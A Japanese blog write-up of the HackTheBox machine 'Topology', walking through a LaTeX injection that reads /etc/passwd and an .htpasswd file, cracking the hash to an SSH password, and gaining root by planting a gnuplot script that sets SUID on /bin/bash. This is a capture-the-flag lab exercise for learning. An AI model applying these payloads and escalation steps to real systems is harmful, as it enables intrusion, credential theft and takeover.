今回はHackTheBox Easyマシン「Topology」のWriteUpです!
名前からはどのようなマシンなのかあまりわかりませんが、Easyマシンなのでサクッと攻略していきたいところです!
グラフはいつものEasyマシンという感じですね。
攻略めざして頑張ります!
HackTheBoxってなに?という方はこちらの記事を見てみてください。一緒にハッキングしましょう!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Topology
攻略
それでは攻略を開始しましょう。
まずは、nmapから実行していきます。
$ sudo nmap -Pn -p- -v -sS --reason --min-rate=1000 -A 10.10.11.217
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)
| 256 d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)
|_ 256 4c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Miskatonic University | Topology Group
いつものように、22番と80番を確認しました。
80番が開いていることを確認したので、ブラウザでアクセスしてみましょう。
大学のホームページが表示されました。
特に遷移はないかと思いましたが、一つだけ、Staffの少し下あたりにhttp://latex.topology.htb/equation.php
へのリンクを発見しました。hostsファイルに追加し、アクセスしてみましょう。
ユーザの入力からPDFファイルを生成するページが表示されました。
ページ内の説明を見てみると、LaTeX codeに該当する文字列を入力した場合、それに対応する形で出力され、PDFファイルが生成されるようです。
試しに\alpha21
と入力してみます。
かなり小さいですが\alpha
がα
として出力されていることが分かります。
これでLaTeXが正常に機能していることがわかったので、LaTeXを使用してなにかできないか試してみます。
LaTeX Injection
では、何を試すかですがLaTeXで有名な攻撃として、LaTeX Injection
があります。HackTricksにも情報がまとめられています。
では、ファイルが読み込めるか試してみたいと思います。
下記の文字列を使用します。
\lstinputlisting{/etc/passwd}
上記の文字列でうまく発火した場合は、/etc/passwd
を読み込みます。
それでは、PDFを生成してみましょう。
エラーが出てしまいました。HackTricksをもう一度確認してみると、ラッパーとして[
か$
を使用する必要があるようです。今回は、$
を使用しました。
最終的に入力した文字列は下記の通りです。
$\lstinputlisting{/etc/passwd}$
それでは、PDFを生成してみましょう。
上手く読み込むことが出来ました!
攻撃が成功したので、侵入に繋がる情報がないかを調査していきましょう。
話が少し飛ぶのですが、いくつかの列挙を同時に行っていると新たなサブドメインを発見しました。
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "HOST: FUZZ.topology.htb" -u http://10.10.11.217 -fs 6767
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/'
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.217
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.topology.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 6767
________________________________________________
[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 3907ms]
* FUZZ: dev
[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 1905ms]
* FUZZ: stats
ここで気になるのは、dev
というサブドメインが401を返していることです。
サブドメインでWebが起動しているとき、ディレクトリの構成としては/var/www/<sub domain>
となることが多いです。今回であれば/var/www/dev
となります。
また、代表的な怪しいファイルとして.htpasswd
があります。パスワードが保存されている可能性があるので、/var/www/dev/.htpasswd
をLaTeX Injectionで読み取ってみましょう。
ハッシュ化されたパスワードが出力されました!
vdaisley としてのシェル
まずはハッシュタイプを検索します。
$ hashcat --identify vdaisley.txt
The following hash-mode match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
MD5であることが分かりました。
タイプもわかったので、1600を指定し、hashcatで解読できるか試してみましょう。
$ hashcat -m 1600 vdaisley.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-sandybridge-12th Gen Intel(R) Core(TM) i7-1250U, 2910/5884 MB (1024 MB allocatable), 4MCU
$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0:calculus20
解読できました!
それでは、SSH接続を試してみましょう。
$ ssh vdaisley@10.10.11.217
vdaisley@10.10.11.217s password:
vdaisley@topology:~$ whoami
vdaisley
侵入成功です!
vdaisley@topology:~$ ls -l
total 4
-rw-r----- 1 root vdaisley 33 Oct 20 09:23 user.txt
ユーザフラグもゲットすることが出来ました!
権限昇格
それではこの調子で、権限昇格も目指していきましょう!
まずは、お決まりのsudo -l
からです。
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.
どうやら、sudoは実行できないようです。そう簡単には攻略させてもらえません。
sudoが実行できなかったのでlinpeas
やpspy
を使用し列挙していると、pspy
で興味深いプロセスを発見しました。
2023/10/20 09:56:01 CMD: UID=0 PID=2371 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/20 09:56:01 CMD: UID=0 PID=2370 | gnuplot /opt/gnuplot/loadplot.plt
2023/10/20 09:56:01 CMD: UID=0 PID=2369 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/10/20 09:56:01 CMD: UID=0 PID=2375 | /bin/sh /opt/gnuplot/getdata.sh
2023/10/20 09:56:01 CMD: UID=0 PID=2377 | gnuplot /opt/gnuplot/networkplot.plt
/opt/gnuplotにあるpltファイルをroot権限で実行していることが分かります。定期的に実行されているので、恐らくcronジョブで設定されていそうです。
/opt/gnuplotディレクトリに書き込む権限があれば、プロセスを悪用し権限昇格が行えそうです!権限を確認してみましょう。
vdaisley@topology:~$ ls -l /opt/
total 4
drwx-wx-wx 2 root root 4096 Oct 20 09:47 gnuplot
読み込み権限はないですが、書き込み権限があります!
どのように権限昇格を行うかですが、exploit notesにもまとめられています。
root としてのシェル
それでは、権限を昇格させましょう!まずは、pltファイルを作成します。
今回使用するファイルの内容は下記の通りです。
vdaisley@topology:/tmp$ cat priv.plt
system "chmod u+s /bin/bash"
systemの後に記述したコマンドが実行されます。今回は、bashにSUIDを付与するようにします。
作成出来たら、/opt/gnuplot内にファイルをコピーします。
vdaisley@topology:/tmp$ cp priv.plt /opt/gnuplot/priv.plt
後は、cronによってコマンドが実行されることを待つのみです!
少し待ってから、bashの権限を確認してみましょう。
vdaisley@topology:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
SUIDが付与されています!権限を昇格させましょう!
vdaisley@topology:~$ bash -p
bash-5.0# whoami
root
権限昇格成功です!
bash-5.0# ls -l /root
total 4
-rw-r----- 1 root root 33 Oct 20 09:23 root.txt
フラグも取得でき、完全攻略達成です~~!!
攻略を終えて
今回のマシンは、どれだけGoogleを活用できるかにかかっていました。LaTeXやgnuplotを既に知っていた人も多いかなとは思いますが、知らない人でも調べることでマシンを攻略できるので、初心者でも解きやすいのではないかと思います。しかし、.htpasswdで認証情報を取得するところはなかなか気付くのが難しいのではないかと思いました。一つの脆弱性を見つけても広く列挙していくことが大切ですね。
今後もHackTheBoxのWriteUpを公開していきます!
最後まで閲覧していただきありがとうございました!!!!